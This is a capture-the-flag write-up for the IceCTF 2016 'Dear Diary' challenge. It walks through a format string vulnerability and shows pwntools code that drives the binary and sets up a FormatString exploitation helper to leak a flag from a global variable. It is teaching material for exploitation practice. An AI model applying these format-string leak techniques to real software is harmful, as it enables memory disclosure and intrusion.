IceCTF 2016: Dear Diary¶
Deardiary is a CTF challenge that drops you into an interactive menu with three options (add entry, print latest entry, quit). By placing a “%x” in the diary and printing it we see there’s a format string vulnerability. Further, through a cursory look at the binary we can tell that it first reads the flag into memory prior to dopping the user into a prompt. This means we are supposed to use the format string vulnerability to print out the flag.
$ ./deardiary -- Diary 3000 -- 1. add entry 2. print latest entry 3. quit > 1 Tell me all your secrets: %x 1. add entry 2. print latest entry 3. quit > 2 6e 1. add entry 2. print latest entry 3. quit > 3
As stated earlier, this is a strait forward format string vulnerability. With the goal being to print out the flag from memory, we can find that the flag is actually being read into a global variable named data. Because this is a global variable and this binary is not position independent, this gives us a static address to read.
Step 1: exec_fmt¶
The first step in using the
FormatString class is to create an exec_fmt
function. This function will take in any arbitrary input, pass that input into
the application properly, parse the results and return the results back. At
this point, we’re not worried about exploiting the vulnerability, we’re simply
interacting with the program.
def exec_fmt(s): p = process("./deardiary",buffer_fill_size=0xffff) p.recvuntil("quit") # Create a new entry with our format string p.sendline("1") p.sendline(s) p.recvuntil("quit") # Print the entry p.sendline("2") p.recvuntil(">") # Grab the relevant output to return out = p.recvuntil("1.",drop=True) p.recvuntil("quit") p.close() return out
Step 2: Instantiate Class¶
Next, we need to instantiate a FormatString class. This can be done strait
forward. To make it simpler, we’ll also open an
ELF class on the exe.
from formatStringExploiter.FormatString import FormatString from pwn import * # Load the binary in pwntools. This way we don't need to worry about the # details, just pass it to FormatString elf = ELF("./deardiary") # Now, instantiate a FormatString class, using the elf and exec_fmt functions fmtStr = FormatString(exec_fmt,elf=elf)
You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you’ll see something like this:
Found the offset to our input! Index = 18, Pad = 0
Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.
Step 3: Read the flag¶
We now have a functional and initialize
FormatString class. We also know
where the flag resides (global variable data). Now we can simply read the
flag from memory.
That’s it. Your flag is printed. If this were the CTF, you could change
remote and run it again to grab the flag.